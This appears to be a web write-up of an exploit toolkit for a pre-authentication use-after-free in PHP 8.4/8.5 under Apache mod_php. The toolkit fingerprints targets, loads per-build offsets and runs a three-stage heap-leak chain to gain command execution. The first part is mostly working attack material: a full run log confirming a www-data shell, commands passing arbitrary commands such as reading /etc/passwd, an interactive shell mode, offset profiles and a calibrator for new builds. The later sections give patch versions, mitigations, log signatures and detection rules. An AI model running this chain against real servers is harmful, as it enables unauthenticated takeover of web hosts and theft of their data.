  exploit by devploit  ·  CVE-2026-109618 / CVE-2026-109619  automatic target detection, build profile dispatch and command execution  authorized testing only[*] CHAIN 01/01  automatic target detection / fixed command proof00:00.00  DISCOVER   http://[redacted]:8106/index.php00:00.08  INFO       detected architecture: aarch6400:00.09  OK         PHP 8.5.11  ·  Apache/2.4.69 (Debian)00:00.09  PREFLIGHT  php-8.5.11-bookworm-aarch6400:00.09  INFO       local container: p2s-lab-851100:00.09  INFO       offsets: zif=0x5314f0 dtor=0x761b80 htdata=0x690d800:00.09  INFO       command: id>/out/p100:00.12  INFO       command staged in lab/rce/out/8.5.11/c00:00.15  PROBE      memory_limit probe: 16 MiB body00:00.16  OK         detected memory_limit=8M00:00.32  EXECUTE    memory_limit=8M  ·  huge_mb=12   │ [*] no offsets file; reading libphp symbols from container p2s-lab-8511   │ zif_system     0x5314f0   │ zval_ptr_dtor  0x761b80   │ wrote vendor/php2shell-upstream/out/offsets.env   │ [*] target http://[redacted]:8106/index.php (cmd='sh</out/c')   │ [*] offsets loaded from out/offsets.env   │ [*] offsets: zif=0x5314f0 dtor=0x761b80 htdata=0x690d8   │ [*] rotating worker over HTTP   │ [*] stage 1: heap leak (attempt 1/3)   │ [+] chunk base = 0xffff88800000   │ [*] rotating worker over HTTP   │ [*] stage 2: libphp leak (attempt 1/3)   │ [+] libphp base = 0xffff85200000   │ [*] rotating worker over HTTP   │ [*] stage 3: HTDATA=0xffff888690d8 ZIF=0xffff857314f0   │ [+] W3 attempt 1   │ PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)╭─ RESULT ─────────────────────────────────────────────────────────╮│ PRE-AUTH RCE CONFIRMED                                           ││ uid=33(www-data) gid=33(www-data) groups=33(www-data)            │╰──────────────────────────────────────────────────────────────────╯

Reading it in order:

  • The banner names the exploit author, the two CVEs, and says "authorized testing only".
  • DISCOVER shows the target URL being contacted.
  • detected architecture: aarch64 means the tool recognised the processor type.
  • OK PHP 8.5.11 · Apache/2.4.69 (Debian) is the fingerprint: the exact PHP and Apache versions found.
  • PREFLIGHT php-8.5.11-bookworm-aarch64 selects the matching profile, a file of settings for that exact build. "bookworm" is the Debian release name.
  • offsets: zif=0x5314f0 dtor=0x761b80 htdata=0x690d8 lists the three numbers from the table above.
  • command: id>/out/p1 is the command to run; the > redirects its output into a file called /out/p1 so the proof can be read afterwards.
  • PROBE memory_limit probe: 16 MiB body sends a 16 MiB body to see what happens.
  • detected memory_limit=8M confirms the limit from the error that came back.
  • EXECUTE memory_limit=8M · huge_mb=12 starts the real chain, using a 12 MB body to trigger the OOM.
  • The indented lines are the upstream exploit's own log: it reads the symbols, writes them to out/offsets.env, then runs stage 1, stage 2 and stage 3. rotating worker over HTTP means it is steering requests to the intended worker.
  • [+] chunk base = 0xffff88800000 and [+] libphp base = 0xffff85200000 are the two leaks.
  • stage 3: HTDATA=0xffff888690d8 ZIF=0xffff857314f0 shows the two absolute addresses computed by adding the offsets to the leaked bases.
  • PROOF: uid=33(www-data) ... is the command output, and the boxed RESULT repeats that the RCE was confirmed.

Custom command (unlimited length on local lab)

Bash
python3 tools/php2shell_auto.py \  -u http://[redacted]:8106/index.php \  --container p2s-lab-8511 \  --repo-dir vendor/php2shell-upstream \  -c 'id; uname -a; whoami; cat /etc/passwd'

The only new part is -c, which supplies the command to run. Inside the quotes, id prints the user identity, uname -a prints system information, whoami prints the current username, and cat /etc/passwd prints the system's user list file. The semicolons just run them one after another.

Interactive REPL (one full chain per command)

Bash
python3 tools/php2shell_auto.py \  -u http:

A REPL is an interactive prompt: you type a command, it runs, and you get another prompt. Here each command you type triggers a fresh run of the whole three-stage chain.

Test all 7 containers at once

Bash
python3 tools/php2shell_labs.py test

This asks the lab manager to run the test across every container.

Using the helper scripts from the GitHub release

The lab zip at https://github.com/anmolksachan/php2shell includes ready-made wrappers:

Bash
./setup.sh                                             ./run_exploit.sh                                       ./run_exploit.sh http://[redacted]:8106/index.php p2s-lab-8511 "uname -a"./run_interactive.sh                                   ./test_all_labs.sh                                     ./cleanup.sh

These are shortcuts that wrap the Python commands: setup.sh prepares everything, run_exploit.sh runs the chain (optionally with a URL, container name and command), run_interactive.sh opens the REPL, test_all_labs.sh tests every container, and cleanup.sh removes the lab.

Tear down

Bash
python3 tools/php2shell_labs.py down./cleanup.sh

down stops the containers, and ./cleanup.sh removes what was created.

Code walkthrough

tools/bootstrap_upstream.py: fetches the upstream exploit

Clones 9bie's php2shell-bypass-aslr-exp into vendor/php2shell-upstream and checks out the pinned commit 4586f5c for reproducibility. Reproducibility means anyone running the same steps gets the same code and the same result. The upstream has no licence, so it is never committed to the repo and is always fetched fresh.

Python
UPSTREAM_URL = "https://github.com/9bie/php2shell-bypass-aslr-exp.git"PINNED_COMMIT = "4586f5c"

Line by line:

  • UPSTREAM_URL = "..." stores the web address of the upstream repository in a variable, a named box holding a value.
  • PINNED_COMMIT = "4586f5c" stores the exact commit to check out, so the code never drifts.

tools/php2shell_labs.py: Docker lab manager

Builds and manages one container per PHP build. Each container uses a hardcoded php.ini that enforces the calibration config. The /out directory is bind-mounted from the host so proof output, the result of id, is readable on disk after execution. A bind mount makes a folder on your computer appear inside the container, so files written by the container show up on your machine.

Key calibration values:

Text
memory_limit = 8Mdisplay_errors = Onsession.upload_progress.enabled = Onsession.use_strict_mode = 0MaxRequestWorkers 1          ; Apache — one worker only

Line by line:

  • memory_limit = 8M keeps the memory cap low so the OOM is easy to trigger.
  • display_errors = On makes errors visible in responses, which is what leaks the pointers.
  • session.upload_progress.enabled = On keeps the vulnerable feature switched on.
  • session.use_strict_mode = 0 relaxes session ID checking.
  • MaxRequestWorkers 1 limits Apache to a single worker, so every request reaches the same process and the stale pointer is found again. The text after the semicolon is just a comment.

tools/php2shell_auto.py: the version-aware dispatcher

The main entry point. A dispatcher is a script that decides which other pieces to run. Walk-through of what it does:

  1. Fingerprint: sends a HEAD/GET to the target and reads the X-Powered-By or PHP-Version header to identify the exact PHP build. A header is a small labelled line of extra information sent with an HTTP request or response. A HEAD request asks for the headers only, without the page body.
  2. Profile lookup: finds profiles/php-<version>-<distro>-<arch>.json, and aborts if the build is a patched release (8.4.27+, 8.5.12+) or has no profile. A profile here is a file of settings tuned for one exact build.
  3. Memory-limit probe: sends a 16 MiB body; the OOM error message reveals memory_limit=8M, so the chain runs once instead of sweeping values. A probe is a small test request sent to learn something about the target.
  4. Worker pinning: for multi-worker targets, holds N-1 workers busy with idle keep-alive connections.
  5. Upstream call: passes offsets to 9bie's exploit via tools/php2shell_upstream.py, which applies the SNI and heap-parameter patches at runtime. SNI (Server Name Indication) is the part of a TLS handshake where the client says which hostname it wants, so the server can pick the right certificate.
  6. Proof read: for local labs it reads /out/p1 off the bind mount; for remote targets it fetches /p1 from the webroot. The webroot is the folder a web server serves pages from.

profiles/php-8.5.11-bookworm-aarch64.json: per-build offset profile

Every PHP build has a unique libphp.so, so offsets extracted from one build are useless for another. The calibration factory (php2shell_calibrate.py) runs the full three-stage chain and only writes "rce": true once a real shell proof is captured.

JSON
{  "libphp": {    "zif_system": "0x5314f0",    "zval_ptr_dtor": "0x761b80",    "htdata": "0x690d8"  },  "stages": {    "stage1_n": 841,    "stage1_forge_len": 79,    "stage2_t": 406,    "stage2_v": 16,    "stage3_pads": [[31, 31]],    "stage3_carrier": true  },  "oom_mb": 12,  "rce": true}

JSON is a plain text format for structured data: curly braces hold objects, names in quotes are keys, and values follow a colon.

Line by line:

  • "libphp": { ... } groups the three offsets for this build.
  • "zif_system": "0x5314f0" is the offset of the function to jump to.
  • "zval_ptr_dtor": "0x761b80" is the offset of the cleanup function used to validate the trick.
  • "htdata": "0x690d8" is where the fake HashTable goes.
  • "stages": { ... } groups the tuning values for the three stages.
  • "stage1_n": 841 is the number of multipart fields needed.
  • "stage1_forge_len": 79 is the size of the forged data in stage 1.
  • "stage2_t": 406 and "stage2_v": 16 are timing and value parameters for the stage 2 leak.
  • "stage3_pads": [[31, 31]] are the heap grooming pad counts that align the fake struct.
  • "stage3_carrier": true says the fake zend_string carrier is supported.
  • "oom_mb": 12 is the body size in megabytes that triggers the OOM at this memory limit.
  • "rce": true records that a real command execution was proven for this build.
Field Meaning
zif_system Offset of zif_system in libphp.so, the code execution is redirected to
zval_ptr_dtor Offset of zval_ptr_dtor, used to validate the destructor gadget
htdata Offset into the Zend MM chunk where the forged HashTable is placed
stage1_n Number of multipart fields needed to trigger OOM after session init
stage1_forge_len Size of the forged data in stage 1
stage2_t / stage2_v Timing and value parameters for the stage 2 leak primitive
stage3_pads Heap grooming pad counts to align the forged struct to the right offset
stage3_carrier Whether the stage-3 fake zend_string carrier is supported
oom_mb Body size in MB that triggers OOM at memory_limit=8M

tools/php2shell_calibrate.py: profile generator

Run this against any new PHP build to generate a new profile. It discovers stages 1 and 2 automatically, then tries stage 3. It only writes "rce": true after a live id proof is collected from the container's /out mount:

Bash
python3 tools/php2shell_calibrate.py \  --target http://[redacted]:8105/index.php \  --container p2s-lab-8426 \  --repo-dir vendor/php2shell-upstream \  --proof-file lab/rce/out/8.4.26/p1 \  --distro bookworm

Line by line:

  • --target http://[redacted]:8105/index.php is the page to test, here the PHP 8.4.26 container.
  • --container p2s-lab-8426 names the container so offsets can be read from it.
  • --repo-dir vendor/php2shell-upstream points at the upstream exploit.
  • --proof-file lab/rce/out/8.4.26/p1 is where the proof output should appear.
  • --distro bookworm says which Linux distribution the build is for, which matters because offsets differ between builds.

Detection, defence and patch

1. Patch (only complete fix)

Bash
php -v

php -v prints the installed PHP version, so you can check whether you are affected. Upgrade to:

  • PHP 8.4.27 or higher
  • PHP 8.5.12 or higher

Packages are available in standard distribution repos and via apt/yum/brew depending on your platform. These are package managers, tools that install and update software.

2. Disable session.upload_progress (best immediate mitigation)

Text
session.upload_progress.enabled = Off

This removes the pre-RINIT callback entirely. The entire chain depends on it. This is safe for virtually all applications, since very few modern apps use PHP-native upload progress and instead use JavaScript-based progress via XMLHttpRequest. A mitigation reduces the risk without being a full fix. JavaScript is the language that runs in your browser, and XMLHttpRequest is a browser feature for sending requests from a page.

Restart Apache after changing:

Bash
systemctl restart apache2

systemctl is the tool that manages background services on Linux, and this line restarts the Apache service so the new setting takes effect.

3. Additional hardening (not a fix, raises the bar)

Text
display_errors = Off          memory_limit = 256M           expose_php = Off

Line by line:

  • display_errors = Off stops error details appearing in responses, so pointers are no longer leaked.
  • memory_limit = 256M raises the memory cap.
  • expose_php = Off stops PHP advertising its version in headers, making fingerprinting harder.

Making your webroot read-only prevents the exploit from writing a proof file, but does not prevent blind command execution. Blind here means you cannot see the output, but the command still runs.

4. Detection: what to look for in logs

Apache access log:

Text
POST /index.php HTTP/1.1 500 - [body > 10MB, ~841 fields in Content-Type boundary]

This is a log line for a POST to /index.php that returned status 500. A status code is the three-digit number a server returns: 200 means fine, 500 means the server hit an internal error. The bracketed part describes the body: over 10 MB and around 841 fields.

Text
# Stage 2 — similar pattern, slightly different body sizePOST /index.php HTTP/1.1 500 -# Stage 3 — exploitation attempt, Apache child may crashPOST /index.php HTTP/1.1 500 -

These are the same kind of log line for stages 2 and 3, with slightly different body sizes. In stage 3 the Apache child process may crash, which is itself a signal.

Apache error log: key signatures:

Text
[error] PHP Fatal error: Allowed memory size of 8388608 bytes exhausted[notice] child pid 12345 exit signal Segmentation fault (11)zend_mm_heap corrupted

Line by line:

  • Allowed memory size of 8388608 bytes exhausted is the OOM message. 8388608 bytes is 8 MB, the configured limit.
  • child pid 12345 exit signal Segmentation fault (11) means a worker process crashed. A segmentation fault is the operating system killing a program that touched memory it should not have.
  • zend_mm_heap corrupted means PHP's memory manager detected damage to its heap, a strong sign of exploitation.

SIEM / WAF rules to add:

  • Rate-limit multipart POSTs with Content-Length > 5MB to the same endpoint
  • Alert on > 500 multipart fields in a single request
  • Alert on repeated 500 responses from the same source IP within 5 seconds
  • Alert on zend_mm_heap corrupted in PHP error logs

A SIEM is a system that collects and correlates logs from many sources. Content-Length is the header that states the size of the request body. To rate-limit means to cap how often something may happen in a period.

5. PHP-FPM users: you are not affected

This chain is mod_php prefork only. PHP-FPM processes requests in a completely different lifecycle, and the pre-RINIT primitive does not transfer. PHP-FPM is a separate process manager for PHP, commonly paired with Nginx. If you are running Nginx + PHP-FPM or Apache + PHP-FPM, this specific exploit does not apply.

RCE status across builds

PHP build Architecture Heap leak libphp leak RCE Notes
8.5.11 aarch64 Yes Yes Yes Verified: uid=33(www-data)
8.5.11 amd64 Yes Yes Yes Separate offsets, same htdata
8.5.10 aarch64 Yes Yes Yes Verified
8.4.26 amd64 Yes Yes Yes Reference build
8.4.25 aarch64 Yes Yes Yes Probabilistic stage 3, needs retries
8.5.0 aarch64 Yes Yes No Stage-3 layout not found
8.3.35 aarch64 Yes Yes No Stage-3 reference alive
8.3.33 (WordPress) mod_php Yes Yes No Stage-3 reference alive
8.3.0 aarch64 No No No PS(id) dangling, cookie not reclaimed
8.2.34 aarch64 No No No UAF present, leak shape differs
8.1.34 aarch64 No No No UAF present, leak shape differs
8.0.30 aarch64 No No No UAF present, leak shape differs
7.4.33 aarch64 No No No UAF present, leak shape differs

Five builds have verified RCE, across thirteen heap profiles in total. "Probabilistic" means it does not always work and may need several attempts. "Reference build" means the build used as the baseline for comparison.

Root cause

The bug is a pre-RINIT use-after-free in the session.upload_progress path. php_session_track_init() sets PS(id) to point at the session ID string on the Zend MM heap, and an OOM bailout during multipart parsing aborts RINIT after that assignment but before cleanup, leaving the pointer dangling. The next request on the same worker reuses the stale pointer, and because display_errors is on, heap and library pointers end up in the response body. From there the attacker owns a heap chunk, forges a HashTable whose destructor is zif_system, and lets zval_ptr_dtor call it during session cleanup.

Existing defences do not help because the callback runs before RINIT: error handlers, disable_functions and WAF or application controls are all downstream of the vulnerable window. The exploit is also constrained by design: it needs mod_php prefork with a single worker or worker pinning, and the stage-3 gadget only transfers on PHP 8.4 and 8.5, where the Zend MM allocator changes give a predictable heap layout.

Impact

An unauthenticated attacker can execute arbitrary commands as the web server user, here www-data, with no login, no file upload and no prior access, using only HTTP requests. The conditions are specific: PHP 8.4.x up to 8.4.26 or 8.5.x up to 8.5.11, Apache mod_php prefork, session.upload_progress enabled (the default), and either a single worker or the ability to pin workers. PHP-FPM is not affected: it processes requests in a completely different lifecycle and the pre-RINIT primitive does not transfer, so Nginx + PHP-FPM and Apache + PHP-FPM deployments are out of scope for this specific exploit. A read-only webroot prevents the exploit from writing a proof file but does not prevent blind command execution.

Fix

Upgrading is the only complete fix. Move to PHP 8.4.27 or higher, or PHP 8.5.12 or higher; packages are available in standard distribution repositories and via apt, yum or brew depending on platform. Check the current version with:

Bash
php -v

The best immediate mitigation is to disable the feature, which removes the pre-RINIT callback the entire chain depends on:

Text
session.upload_progress.enabled = Off

Restart Apache afterwards:

Bash
systemctl restart apache2

Additional hardening raises the bar but is not a fix:

Text
display_errors = Off          memory_limit = 256M           expose_php = Off

For detection, watch the Apache access log for multipart POSTs returning 500 with bodies over 10MB and around 841 fields in the Content-Type boundary, and for stage 2 and stage 3 requests with similar patterns and slightly different body sizes, where the Apache child may crash:

Text
POST /index.php HTTP/1.1 500 - [body > 10MB, ~841 fields in Content-Type boundary]
Text
# Stage 2 — similar pattern, slightly different body sizePOST /index.php HTTP/1.1 500 -# Stage 3 — exploitation attempt, Apache child may crashPOST /index.php HTTP/1.1 500 -

In the Apache error log, the key signatures are:

Text
[error] PHP Fatal error: Allowed memory size of 8388608 bytes exhausted[notice] child pid 12345 exit signal Segmentation fault (11)zend_mm_heap corrupted

On the SIEM or WAF side, add rules to rate-limit multipart POSTs with Content-Length > 5MB to the same endpoint, alert on more than 500 multipart fields in a single request, alert on repeated 500 responses from the same source IP within 5 seconds, and alert on zend_mm_heap corrupted in PHP error logs.

Variants to test

  1. Run the calibrator against any other PHP 8.4 or 8.5 build you have in a lab, for example python3 tools/php2shell_calibrate.py --target ... --container ... --repo-dir vendor/php2shell-upstream --proof-file ... --distro bookworm. A positive result is a generated profile with "rce": true and an id proof read from the container's /out mount.
  2. Test the amd64 build of 8.5.11, which the report lists as working with separate offsets but the same htdata. A positive result is the same uid=33(www-data) proof with a different zif_system and zval_ptr_dtor offset.
  3. Test 8.4.25, where stage 3 is probabilistic and needs retries. A positive result is the proof appearing after repeated attempts rather than on the first.
  4. Test 8.3.x builds, where the heap and libphp leaks still work but stage 3 does not. A positive result would be a stage-3 success on a build the report currently lists as No, which would mean the gadget transfers further than expected.
  5. On a multi-worker target, exercise worker pinning by holding N-1 workers busy with idle keep-alive connections. A positive result is the chain completing where it previously failed because requests landed on different workers.
  6. Probe memory_limit with a 16 MiB body before running the chain. A positive result is an OOM error in the response that reveals the configured limit, letting the chain run once instead of sweeping values.
  7. Check whether session.upload_progress.enabled is on and whether the deployment is mod_php prefork rather than PHP-FPM. A positive result is a target that answers the fingerprint with an affected PHP build and an Apache mod_php signature; a PHP-FPM target is a negative result by design.

Glossary

  • aarch64: the processor family used in most phones and newer Apple Macs.
  • amd64: the common processor family for desktop and server computers.
  • Apache: the web server program that receives requests and passes them to PHP.
  • ASLR: address space layout randomisation; loading code and memory at unpredictable addresses to make attacks harder.
  • bind mount: making a folder on the host computer appear inside a container.
  • blind command execution: running a command without being able to see its output.
  • bootstrap script: a script that fetches and prepares other code before the main tool runs.
  • CVE: a public catalogue number for a known security flaw.
  • calibration: tuning settings and offsets for one exact build so the exploit works reliably.
  • commit: a specific saved snapshot of a code repository.
  • container: a lightweight isolated environment that runs software on a shared kernel.
  • cookie: a small piece of data a browser stores and sends back with requests, often holding a session ID.
  • dereference: follow a pointer to the thing it points at.
  • destructor: code that runs when an object is being cleaned up.
  • disable_functions: a PHP setting that blocks listed dangerous functions.
  • dispatcher: a script that decides which other pieces of a toolkit to run.
  • Docker: a tool for running software in containers.
  • Docker daemon: the background service that runs containers.
  • exploit: code that carries out an attack.
  • fingerprint: identifying the exact software and version of a target.
  • function: a named block of code that performs a job.
  • Git: the tool for downloading and tracking code repositories.
  • gid: group ID, the numeric identifier of a user group.
  • HashTable: PHP's internal key-value container, the structure behind arrays.
  • header: a small labelled line of extra information sent with an HTTP request or response.
  • heap: the pool of memory a program uses for data created while running.
  • heap grooming: deliberately arranging memory so planted data lands where you want it.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • JSON: a plain text format for structured data.
  • keep-alive connection: a connection kept open to reuse for several requests.
  • libphp.so: the shared library containing PHP's compiled code when PHP runs inside Apache.
  • licence: the legal permission that says how code may be reused.
  • memory_limit: the maximum memory PHP may use for a request.
  • mitigation: a change that reduces risk without being a complete fix.
  • mod_php: the setup where PHP is loaded directly inside Apache.
  • multipart POST: a POST whose body is split into several parts, used for forms with files.
  • offset: a fixed distance from a known starting point, used to compute an exact address.
  • OOM: out of memory; the program hit its memory limit and stopped.
  • PHP: a programming language that runs on web servers.
  • PHP-FPM: a separate process manager for PHP, commonly used with Nginx.
  • php.ini: PHP's main configuration file.
  • pointer: a value holding the memory address of something else.
  • port: a numbered doorway on a computer that a service listens on.
  • POST: the HTTP request type used to submit data.
  • pre-RINIT: the phase before PHP sets up and runs the requested script.
  • prefork: an Apache mode where each request is handled by a separate worker process.
  • primitive: a small, reliable building block used to assemble an attack.
  • profile: a file of settings and offsets tuned for one exact build.
  • proof file: a file written by the exploit containing the command output, used as evidence.
  • probe: a small test request sent to learn something about a target.
  • RCE: remote code execution; running your own commands on someone else's server.
  • REPL: an interactive prompt where each command you type is run immediately.
  • reproducibility: the property that the same steps always give the same result.
  • RINIT: PHP's request initialisation step, which runs before the script.
  • segmentation fault: the operating system killing a program that touched memory it should not have.
  • session: how a website remembers who you are between page loads.
  • session.upload_progress: a PHP feature that tracks file upload progress by storing metadata in the session.
  • shared library: a file of reusable code that programs load into memory.
  • SIEM: a system that collects and correlates logs from many sources.
  • SNI: the part of a TLS handshake where the client names the host it wants.
  • status code: the three-digit number a server returns, such as 200 or 500.
  • struct: a bundle of related values kept together in memory.
  • symbol: a named item inside a compiled program, such as a function.
  • uid: user ID, the numeric identifier of a user account.
  • use-after-free: using memory after it has been officially given back.
  • vendor: to copy third-party code into your own repository.
  • WAF: web application firewall; a filter that inspects traffic and blocks suspicious requests.
  • webroot: the folder a web server serves pages from.
  • worker: a separate process that handles requests in Apache prefork.
  • worker pinning: keeping all requests on one worker by occupying the others.
  • XMLHttpRequest: a browser feature for sending requests from a page.
  • zend_string: PHP's internal representation of a piece of text.
  • Zend MM: PHP's own memory manager.
  • zval: PHP's internal box for a single value.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.